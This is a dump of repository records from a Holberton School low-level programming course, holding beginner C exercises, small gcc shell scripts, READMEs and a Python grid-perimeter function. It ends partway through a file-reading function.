"avg_line_length": 50, "blob_id": "2539a8dd71ecf704d20fc6c6e25124eb2adc6144", "content_id": "700969e6e65ff66f3370be383b3b644c1c45984e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 50, "license_type": "no_license", "max_line_length": 50, "num_lines": 1, "path": "/0x00-hello_world/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "This repository contains basic shell and c scripts" }, { "alpha_fraction": 0.581818163394928, "alphanum_fraction": 0.581818163394928, "avg_line_length": 26.5, "blob_id": "9182ba0679534d88809b3b9cc762d174cef88891", "content_id": "a0cc57b0259d59b306fd40caf2fffcb3de29fc2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 55, "license_type": "no_license", "max_line_length": 42, "num_lines": 2, "path": "/0x00-hello_world/1-compiler", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\ngcc -c $CFILE -o \"$(basename $CFILE .c).o\"\n" }, { "alpha_fraction": 0.7313084006309509, "alphanum_fraction": 0.7657710313796997, "avg_line_length": 26.190475463867188, "blob_id": "42998e58b946144ba9b75b014066c53c5c9e0a0e", "content_id": "11c38536ff3d48254772318c47cffbe08bb3c9fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1712, "license_type": "no_license", "max_line_length": 129, "num_lines": 63, "path": "/0x01-variables_if_else_while/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x01 - Variables, if/else, while\nProject introduces the basics of conditional statements\n\n**0-positive_or_negative.c**\n\nTakes a psuedo-random number seeded by time and prints if it is positive, negative, or zero\n\n**1-last_digit.c**\n\nTakes a psuedo-random number seeded by time and prints if the last digit is greater than 5, equal to 0, or less than 6 but not 0.\n\n**2-print_alphabet.c**\n\nPrints the alphabet in lowercase using exactly 2 instances of putchar\n\n**3-print_alphabets.c**\n\nPrints the alphabet, starting with lowercase then uppercase using exactly 3 instances of putchar.\n\n**4-print_alphabt.c**\n\nPrints the alphabet in lowercase, ignoring q and e\n\n**5-print_numbers.c**\n\nPrints all single-digit base 10 numbers starting with 0.\n\n**6-print_numberz.c**\n\nPrints all single-digit base-10 numbers starting with 0, using only 2 instances of putchar.\n\n**7-print_tebahpla.c**\n\nPrints the alphabet in lowercase in reverse.\n\n**8-print_base16.c**\n\nPrints all single-digit base-16 numbers in lowercase, starting with 0.\n\n**9-print_comb.c**\n\nPrints all possible combinations of a single single-digit number\n\n**10-print_comb2.c**\n\nPrints all possible combinations of a single number 00-99.\nUses putchar no more than 5 times.\n\n**100-print_comb3.c**\n\nPrints all possible non-matching combinations of two single-digit numbers.\nUses no more than 5 instances of putchar.\n\n**101-print_comb4**\n\nPrints all possible non-matching combinations of three single-digit base-10 numbers.\nUses no more than 6 instances of putchar.\nMust print only the smallest possible combination of any 3 digits.\n\n**102-print_comb5.c**\n\nPrints all possible combinations of two two-digit base-10 numbers.\nUses no more than 8 instances of putchar." }, { "alpha_fraction": 0.5496367812156677, "alphanum_fraction": 0.5593220591545105, "avg_line_length": 17, "blob_id": "63a98c24d1740bf92e3e55b6b53e310bc25639b7", "content_id": "aab164d06efff640ae6fea62e524c4dabf4106b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 413, "license_type": "no_license", "max_line_length": 76, "num_lines": 23, "path": "/0x02-functions_nested_loops/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x02 functions, nested loops\n\n## About / synopsis\nCreates functtions that will be tested by calling a seperate main.c file\n\n## Built With\n\n* [c] - Betty style formatting\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0-holberton.c|Calls provided function _putchar to print string 'Holberton'|\n|***|***|\n|***|***|\n|***|***|\n|***|***|\n|***|***|\n|***|***|\n|***|***|\n|***|***|\n|***|***|" }, { "alpha_fraction": 0.5623003244400024, "alphanum_fraction": 0.5686901211738586, "avg_line_length": 12.608695983886719, "blob_id": "52e7edc7133a669086284a221f4aaef7196e32f6", "content_id": "35787c25060ebe17535b4ada6af15c9ee31c0168", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 313, "license_type": "no_license", "max_line_length": 37, "num_lines": 23, "path": "/0x13-more_singly_linked_lists/4-free_listint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * free_listint - frees a linked list\n * @head: list to free\n * Return: Always 0 (ok)\n */\nvoid free_listint(listint_t *head)\n{\n\tlistint_t *tmp;\n\tint i = 0;\n\n\tif (head == NULL)\n\t\treturn;\n\n\tfor (; head->next != NULL; i++)\n\t{\n\t\ttmp = head->next;\n\t\tfree(head);\n\t\thead = tmp;\n\t}\n\tfree(head);\n}\n" }, { "alpha_fraction": 0.5987124443054199, "alphanum_fraction": 0.6030042767524719, "avg_line_length": 19.2608699798584, "blob_id": "e34bb5b6e31f7c6d6a8e9add0d2cf1a6c4c0e3f7", "content_id": "027833b6efa6202dccb59abc3a200de754eb62b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 466, "license_type": "no_license", "max_line_length": 77, "num_lines": 23, "path": "/0x17-doubly_linked_lists/1-dlistint_len.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * dlistint_len - returns the number of elements in a linked dlistint_t list.\n * @h: a linked dlistint_t list.\n *\n * Return: the number of elements in h\n */\nsize_t dlistint_len(const dlistint_t *h)\n{\n\tint nodes;\n\n\tif (!h)/*Null check*/\n\t\treturn (0);\n\tif (!(h->prev))/*make sure we're actually at the head*/\n\t{\n\t\tfor (; h->prev; h = h->prev)\n\t\t\t;\n\t}\n\tfor (nodes = 0; h; h = h->next, nodes++)\n\t\t;/*Just need to count nodes*/\n\treturn (nodes);\n}\n" }, { "alpha_fraction": 0.7017937302589417, "alphanum_fraction": 0.7174887657165527, "avg_line_length": 48.55555725097656, "blob_id": "e1d9ff5a7cc19c455e5332ec017a8114a1a748b8", "content_id": "ac0185e3775dc79792d1889653766286d20f3ad1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 892, "license_type": "no_license", "max_line_length": 145, "num_lines": 18, "path": "/0x15-file_io/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x15. C - File I/O\n\n## About / synopsis\nIntroduction to using system calls \"open\", \"read\", \"write\", \"close\", and the standard streams to create and alter files.\n\n## Built With\n\n* [c] - Betty-style formatting\n\n### Project contents\n\n| Project Title | Short Description | Test filename | Usage |\n| --- | --- | --- | --- |\n|0-read_textfile|Reads a text file and writes it to POSIX stdout|0-main.c, Requiescat.txt|N\\A|\n|1-create_file|Creates a new file with specified name and contents. Truncates file if it already exists.|1-main.c|N\\A|\n|2-append_text_to_file|Appends text at the end of a file|2-main.c, 2-append.txt|N\\A|\n|3-cp|copies the content of a file to another file|massive.txt - the entire bee movie script, to demonstate ability to copy|cp file_from file_to|\n|100-elf_header|displays the information contained in the ELF header at the start of an ELF file|***|elf_header elf_filename|\n" }, { "alpha_fraction": 0.435960590839386, "alphanum_fraction": 0.4753694534301758, "avg_line_length": 14.037036895751953, "blob_id": "4bcda9ef08958ce7c01787ca396285148ea5dbf9", "content_id": "4e941fd5c54db1126fae36f37028b263e729f55c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 406, "license_type": "no_license", "max_line_length": 58, "num_lines": 27, "path": "/0x02-functions_nested_loops/11-print_to_98.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * print_to_98 - prints numbers n-98, seperated by a comma\n * @n: a number provided by the user to count from\n *\n * Return: none\n */\nvoid print_to_98(int n)\n{\n\tif (n >= 98)\n\t\tfor (; n >= 98; n--)\n\t\t{\n\t\t\tif (n == 98)\n\t\t\t\tprintf(\"%d\\n\", n);\n\t\t\telse\n\t\t\t\tprintf(\"%d, \", n);\n\t\t}\n\telse\n\t\tfor (; n < 99; n++)\n\t\t{\n\t\t\tif (n == 98)\n\t\t\t\tprintf(\"%d\\n\", n);\n\t\t\telse\n\t\t\t\tprintf(\"%d, \", n);\n\t\t}\n}\n" }, { "alpha_fraction": 0.5982142686843872, "alphanum_fraction": 0.6026785969734192, "avg_line_length": 18.478260040283203, "blob_id": "25a4caaebc8802ab7de76cce0f718ab9cfa60153", "content_id": "13aa162798b61363e8af15e6c88e2f4dbcda459f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 448, "license_type": "no_license", "max_line_length": 74, "num_lines": 23, "path": "/0x17-doubly_linked_lists/6-sum_dlistint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * sum_dlistint - sums the sum of all the data of a dlistint_t linked list\n * @head: a dlistint_t linked list.\n *\n * Return: the sum of all the data\n */\nint sum_dlistint(dlistint_t *head)\n{\n\tint sum = 0;\n\n\tif (!head)/*Null check*/\n\t\treturn (0);\n\tif (!(head->prev))/*make sure we're actually at the head*/\n\t{\n\t\tfor (; head->prev; head = head->prev)\n\t\t\t;\n\t}\n\tfor (; head; head = head->next)\n\t\tsum += head->n;\n\treturn (sum);\n}\n" }, { "alpha_fraction": 0.54296875, "alphanum_fraction": 0.556640625, "avg_line_length": 14.058823585510254, "blob_id": "acdaa2453dcead06304e06d0d66281bfa2cd1934", "content_id": "e1b8e2482b174ec63c1fb2401e3c53199b3ebf60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 512, "license_type": "no_license", "max_line_length": 74, "num_lines": 34, "path": "/0x07-pointers_arrays_strings/3-strspn.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strspn - Gets the length of a prefix substring\n * @s: source string\n * @accept: characters to accept\n * Return: Number of bytes in the initial segment of s which consists only\n * of bytes from accept\n */\nunsigned int _strspn(char *s, char *accept)\n{\n\tint i = 0, j = 0;\n\tint flag = 0;\n\n\twhile (s[i])\n\t{\n\t\tj = 0;\n\t\twhile (accept[j])\n\t\t{\n\t\t\tif (s[i] == accept[j])\n\t\t\t{\n\t\t\t\tflag = 1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tj++;\n\t\t}\n\t\tif (flag != 0)\n\t\t\tflag = 0;\n\t\telse\n\t\t\tbreak;\n\t\ti++;\n\t}\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.5379939079284668, "alphanum_fraction": 0.5471124649047852, "avg_line_length": 16.3157901763916, "blob_id": "e7278dda11ddf78ba3eb18e1933a12ac6d542bce", "content_id": "c04f1d77014d4f27efc621d3d852d6bff7523928", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 329, "license_type": "no_license", "max_line_length": 73, "num_lines": 19, "path": "/0x01-variables_if_else_while/4-print_alphabt.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Uses the allowed command exactly twice to print the alphabet in\n * lowercase, except the characters 'q' and 'e'.\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint ch = 'a';\n\n\tdo {\n\t\tif ((ch != 'q') && (ch != 'e'))\n\t\t\tputchar(ch);\n\t\tch++;\n\t} while (ch < 'z' + 1);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5574468374252319, "alphanum_fraction": 0.5872340202331543, "avg_line_length": 17.076923370361328, "blob_id": "673845b0730cb6f3527546dc571791fee27b21b7", "content_id": "a5711d34757c96fd8d8d7db871862807caa32e2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 470, "license_type": "no_license", "max_line_length": 73, "num_lines": 26, "path": "/0x06-pointers_arrays_strings/8-rot13.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * rot13 - encodes/decodes a string into rot13\n *@s: string to be encoded\n * Return: string s\n */\nchar *rot13(char *s)\n{\n\tint n, i;\n\tchar chars[60] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\tchar rot[60] = \"nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM\";\n\n\tfor (i = 0; s[i] != '\\0'; i++)\n\t{\n\t\tfor (n = 0; chars[n] != '\\0'; n++)\n\t\t{\n\t\t\tif (chars[n] == s[i])\n\t\t\t{\n\t\t\t\ts[i] = rot[n];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\treturn (s);\n}\n" }, { "alpha_fraction": 0.5906040072441101, "alphanum_fraction": 0.5939597487449646, "avg_line_length": 14.684210777282715, "blob_id": "40624a25b31347436469dfa5add0b64010dc649d", "content_id": "722e152adbe17d484cfe42250b84284dd6255c66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 298, "license_type": "no_license", "max_line_length": 55, "num_lines": 19, "path": "/0x12-singly_linked_lists/1-list_len.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include \"lists.h\"\n\n/**\n * list_len - prints the lenght of a singly linked list\n * @h: singly linked list\n *\n * Return: the number of nodes\n */\nsize_t list_len(const list_t *h)\n{\n\tsize_t i = 0;\n\tconst list_t *tmp;\n\n\ttmp = h;\n\tfor (; tmp; tmp = tmp->next, i++)\n\t\t;\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.5610465407371521, "alphanum_fraction": 0.5668604373931885, "avg_line_length": 15.380952835083008, "blob_id": "912c6178d16a4db63b32904621637eb9fb6a4e52", "content_id": "60da0d2c42cb85088f943991d4261562d5c2e71a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 344, "license_type": "no_license", "max_line_length": 54, "num_lines": 21, "path": "/0x05-pointers_arrays_strings/8-print_array.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n\n/**\n * print_array - prints the last n elements of array a\n *@a: array to be printed\n *@n: Last n elements to be printed\n * Return: void\n */\nvoid print_array(int *a, int n)\n{\n\tint num;\n\n\tfor (num = 0; num < n; num++)\n\t{\n\t\tprintf(\"%d\", a[num]);\n\t\tif (num != n - 1)\n\t\t\tprintf(\", \");\n\t}\n\tprintf(\"\\n\");\n}\n" }, { "alpha_fraction": 0.5108358860015869, "alphanum_fraction": 0.5232198238372803, "avg_line_length": 13.043478012084961, "blob_id": "b3b4879a743a912dbfad3b50dff61847756aa9a3", "content_id": "61e8961f72947a2d68b4443e76d49087488e314b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 323, "license_type": "no_license", "max_line_length": 44, "num_lines": 23, "path": "/0x04-more_functions_nested_loops/8-print_square.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * print_square - prints an ascii art square\n *@size: size of the square\n * Return: Always 0 (ok)\n */\nvoid print_square(int size)\n{\n\tint l, w;\n\n\tif (size <= 0)\n\t{\n\t\t_putchar('\\n');\n\t\treturn;\n\t}\n\tfor (l = 0; l < size; l++)\n\t{\n\t\tfor (w = 0; w < size; w++)\n\t\t\t_putchar('#');\n\t\t_putchar('\\n');\n\t}\n}\n" }, { "alpha_fraction": 0.581818163394928, "alphanum_fraction": 0.581818163394928, "avg_line_length": 26.5, "blob_id": "9be09ab673e06a3814ffa881eae663ab794d2baa", "content_id": "e80f14e90ecd77ed394a84bb172fad16c4126792", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 55, "license_type": "no_license", "max_line_length": 42, "num_lines": 2, "path": "/0x00-hello_world/2-assembler", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\ngcc -S $CFILE -o \"$(basename $CFILE .c).s\"\n" }, { "alpha_fraction": 0.5054794549942017, "alphanum_fraction": 0.534246563911438, "avg_line_length": 13.313725471496582, "blob_id": "960717daf7a9fc52f18e53718e53ffa733f0b199", "content_id": "b39b3f6688876300d08d6e3283e1ae0c7b2e369f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 730, "license_type": "no_license", "max_line_length": 69, "num_lines": 51, "path": "/0x0A-argc_argv/100-change.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include \"holberton.h\"\n/**\n * main - prints the minimum number of coins to make change for money\n * @argc: number of arguments\n * @argv: array of arguments\n * Return: 0 if successful, 1 if error occurs\n */\nint main(int argc, char *argv[])\n{\n\tint money, coins;\n\n\tif (argc != 2)\n\t{\n\t\tprintf(\"Error\\n\");\n\t\treturn (1);\n\t}\n\tcoins = 0;\n\tmoney = atoi(argv[1]);\n\twhile (money > 0)\n\t{\n\t\tif (money >= 25)\n\t\t{\n\t\t\tcoins++;\n\t\t\tmoney -= 25;\n\t\t}\n\t\telse if (money >= 10)\n\t\t{\n\t\t\tcoins++;\n\t\t\tmoney -= 10;\n\t\t}\n\t\telse if (money >= 5)\n\t\t{\n\t\t\tcoins++;\n\t\t\tmoney -= 5;\n\t\t}\n\t\telse if (money >= 2)\n\t\t{\n\t\t\tcoins++;\n\t\t\tmoney -= 2;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcoins++;\n\t\t\tmoney -= 1;\n\t\t}\n\t}\n\tprintf(\"%d\\n\", coins);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5470383167266846, "alphanum_fraction": 0.5609756112098694, "avg_line_length": 13.350000381469727, "blob_id": "102b5767068889c98631ccbe53d1cc0160b96e9d", "content_id": "ac64fd95f01f9a8bffbd471a32da4b96edf0fd71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 287, "license_type": "no_license", "max_line_length": 67, "num_lines": 20, "path": "/0x08-recursion/2-strlen_recursion.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strlen_recursion - uses recursion to get the length of a string\n * @s: input string\n * Return: size of string\n */\nint _strlen_recursion(char *s)\n{\n\tint i;\n\n\tif (*s)\n\t{\n\t\ti = 0;\n\t\ti = _strlen_recursion(s + 1);\n\t}\n\tif (*s == '\\0')\n\t\ti--;\n\treturn (i + 1);\n}\n" }, { "alpha_fraction": 0.5851648449897766, "alphanum_fraction": 0.5906593203544617, "avg_line_length": 16.33333396911621, "blob_id": "a2b97c6770d4f6d2a09aef4daf44a2e219effbd9", "content_id": "bd64ffffa24570ead39044f672fc9caffa8d30ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 364, "license_type": "no_license", "max_line_length": 58, "num_lines": 21, "path": "/0x13-more_singly_linked_lists/0-print_listint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include \"lists.h\"\n/**\n * print_listint - prints all elements of a listint_t list\n * @h: head of linked list\n * Return: The number of nodes\n */\nsize_t print_listint(const listint_t *h)\n{\n\tint i = 0;\n\tconst listint_t *tmp;\n\n\tif (h == NULL)\n\t\treturn (0);\n\ttmp = h;\n\tfor (; tmp; tmp = tmp->next, i++)\n\t{\n\t\tprintf(\"%d\\n\", tmp->n);\n\t}\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.645283043384552, "alphanum_fraction": 0.649056613445282, "avg_line_length": 17.928571701049805, "blob_id": "4212df675b0d8e06b7264e8b6ab39182e1bcaf3a", "content_id": "ce6f173bf8a86b966a211e45d936dbe79b268bea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 265, "license_type": "no_license", "max_line_length": 69, "num_lines": 14, "path": "/0x18-dynamic_libraries/testfiles/6-abs.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _abs - computes the absolute value of an integer\n * @x: The integer sent by the user to be converted to absolute value\n * Return: absolute value of input integer\n */\nint _abs(int x)\n{\n\tif (x >= 0)\n\t\treturn (x);\n\telse\n\t\treturn (-x);\n}\n" }, { "alpha_fraction": 0.4436229169368744, "alphanum_fraction": 0.46950092911720276, "avg_line_length": 26.049999237060547, "blob_id": "82018cfcb7218fa04624c83f8e6d2ffcb1e77397", "content_id": "f8e7770dbadb612b5fe22b27d8234960bd69f715", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 71, "num_lines": 40, "path": "/0x1C-makefiles/5-island_perimeter.py", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n'''Defines a function that takes a matrix and returns the perimiter'''\n\n\ndef island_perimeter(grid):\n '''Usage: island_perimeter(grid)\n where grid is a 2D array of 1's and 0's, representing\n land and water respectively\n '''\n x = len(grid)\n y = len(grid[0])\n per = 0\n\n for xi in range(x):\n for yi in range(y):\n pos = grid[xi][yi]\n if pos == 0:\n per += per_count(x, y, xi, yi, grid)\n elif pos == 1 and (xi == x - 1 or xi == 0 or yi == y - 1 or\n yi == 0):\n per += 1\n if yi == 100:\n break\n if xi == 100:\n break\n return per\n\n\ndef per_count(x, y, x_ind, y_ind, grid):\n '''Counts the 'land' around the 'water' in a grid'''\n count = 0\n if x_ind != 0:\n count += grid[x_ind - 1][y_ind]\n if x_ind < x - 1:\n count += grid[x_ind + 1][y_ind]\n if y_ind != 0:\n count += grid[x_ind][y_ind - 1]\n if y_ind < y - 1:\n count += grid[x_ind][y_ind + 1]\n return count\n" }, { "alpha_fraction": 0.5047022104263306, "alphanum_fraction": 0.5235109925270081, "avg_line_length": 13.5, "blob_id": "5ef22b4e3b6525aac68254970a04fa938b6c1efb", "content_id": "a51c4f89bb1f9e15009c067593e240c963ee11ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 319, "license_type": "no_license", "max_line_length": 54, "num_lines": 22, "path": "/0x08-recursion/4-pow_recursion.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _pow_recursion - returns x raised to the power of y\n * @x: Int to raise\n * @y: int to raise to\n *\n * Return: result\n */\nint _pow_recursion(int x, int y)\n{\n\tif (y < 1 && y != 0)\n\t\tx = -1;\n\telse if (y == 0)\n\t\tx = 1;\n\telse\n\t{\n\t\tx *= _pow_recursion(x, y - 1);\n\t\treturn (x);\n\t}\n\treturn (x);\n}\n" }, { "alpha_fraction": 0.6129032373428345, "alphanum_fraction": 0.6169354915618896, "avg_line_length": 15.533333778381348, "blob_id": "ff8555363492784ef4fcfdced2dcd39078dd92b4", "content_id": "aefafcdababe1be9b9a4b0c7d609f453af882693", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 248, "license_type": "no_license", "max_line_length": 62, "num_lines": 15, "path": "/0x05-pointers_arrays_strings/2-strlen.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strlen - returns the length of a string\n * @s: a string (pointer to the first letter) provided by user\n * Return: string length\n */\nint _strlen(char *s)\n{\n\tint len;\n\n\twhile (s[len] != '\\0')\n\t\tlen++;\n\treturn (len);\n}\n" }, { "alpha_fraction": 0.6314102411270142, "alphanum_fraction": 0.6410256624221802, "avg_line_length": 19.799999237060547, "blob_id": "32e9772bb56e6ea48ee7ccc0ec0d644db82a3fe1", "content_id": "9e5ab83dd3f23d65aaf577a4993074d7bb7db818", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 312, "license_type": "no_license", "max_line_length": 59, "num_lines": 15, "path": "/0x0A-argc_argv/0-whatsmyname.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n\n/**\n * main - prints the program name\n * @argc: number of arguments - unused, cast to void\n * @argv: argument vector - array of arguments sent to main\n * Return: Always 0 (ok)\n */\nint main(int argc, char *argv[])\n{\n\t(void)argc;\n\tprintf(\"%s\\n\", argv[0]);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5787476301193237, "alphanum_fraction": 0.5939279198646545, "avg_line_length": 20.079999923706055, "blob_id": "a14a92470630619a834969aa191fe75f3ee932a7", "content_id": "332c058e2d48accac861f7e5bfae9afea458905d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 527, "license_type": "no_license", "max_line_length": 68, "num_lines": 25, "path": "/0x0F-function_pointers/2-int_index.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include \"function_pointers.h\"\n\n/**\n * int_index - looks for the first index where cmp does not return 0\n * @array: array of integers to search\n * @size: Size of array\n * @cmp: function to compare with\n *\n * Return: First index where cmp does not return 0\n */\nint int_index(int *array, int size, int (*cmp)(int))\n{\n\tint i;\n\n\tif (size <= 0)\n\t\treturn (-1);\n\tif (array == NULL || cmp == NULL)\n\t\treturn (-1);\n\tfor (i = 0; i < size && (*cmp)(array[i]) == 0; i++)\n\t\t;\n\tif (i == size)\n\t\treturn (-1);\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.45348837971687317, "alphanum_fraction": 0.5232558250427246, "avg_line_length": 13.333333015441895, "blob_id": "29e6714fe4bf1b872cc33c53c354ac0a80c99059", "content_id": "d42ff557e7282f272897b19f8e249c5906957248", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 344, "license_type": "no_license", "max_line_length": 41, "num_lines": 24, "path": "/0x06-pointers_arrays_strings/7-leet.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * leet - encodes a string into 1337sp34k\n *@s: string to be encoded\n * Return: string s\n */\nchar *leet(char *s)\n{\n\tint i = 0, n;\n\tchar chars[11] = \"aAeEoOtTlL\";\n\tchar leet[11] = \"4433007711\";\n\n\twhile (s[i])\n\t{\n\t\tfor (n = 0; n < 11; n++)\n\t\t{\n\t\t\tif (s[i] == chars[n])\n\t\t\t\ts[i] = leet[n];\n\t\t}\n\t\ti++;\n\t}\n\treturn (s);\n}\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 34, "blob_id": "5e55e7ae93a5888c8235b64ad327b9a00516eb90", "content_id": "869921654526437e38839540e07883478177ba99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 70, "license_type": "no_license", "max_line_length": 57, "num_lines": 2, "path": "/0x00-hello_world/100-intel", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\ngcc -c -S -masm=intel $CFILE -o \"$(basename $CFILE .c).s\"\n" }, { "alpha_fraction": 0.5702005624771118, "alphanum_fraction": 0.5845271944999695, "avg_line_length": 14.17391300201416, "blob_id": "68eb09d78d3ce658e6b367f6f81af9fda6f77bde", "content_id": "7f9bec58032c302fbe1d341b8c9fa5ca65dd0ccf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 349, "license_type": "no_license", "max_line_length": 58, "num_lines": 23, "path": "/0x02-functions_nested_loops/7-print_last_digit.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * print_last_digit - returns the value of the last digit\n * @x: Digit sent by user to be returned as absolute value\n * Return: See above\n */\nint print_last_digit(int x)\n{\n\tint dig = (x % 10);\n\tint abs = -dig;\n\n\tif (x < 0)\n\t{\n\t\t_putchar(abs + '0');\n\t\treturn (abs);\n\t}\n\telse\n\t{\n\t\t_putchar(dig + '0');\n\t\treturn (dig);\n\t}\n}\n" }, { "alpha_fraction": 0.6653333306312561, "alphanum_fraction": 0.6759999990463257, "avg_line_length": 24, "blob_id": "fa8e4b5e2efef7439a026b3d7714c24419624647", "content_id": "c3328ea9c4b25f3ff788c72f514fecb386bbdbf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 750, "license_type": "no_license", "max_line_length": 71, "num_lines": 30, "path": "/0x15-file_io/0-read_textfile.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdlib.h>\n#include <fcntl.h>\n#include <stdio.h>\n/**\n * read_textfile - reads a text file and prints it to the POSIX stdout.\n * @filename: filename to look for\n * @letters: Number of letters to read/print\n *\n * Return: 0 on failure, number of letters read/printed otherwise\n */\nssize_t read_textfile(const char *filename, size_t letters)\n{\n\tint filedesc, bufflen;\n\tchar *buff;\n\n\tif (filename == NULL || letters == 0)\n\t\treturn (0);\n\tfiledesc = open(filename, O_RDONLY);\n\tif (filedesc < 0)\n\t\treturn (0);\n\tbuff = malloc(sizeof(char) * letters);\n\tif 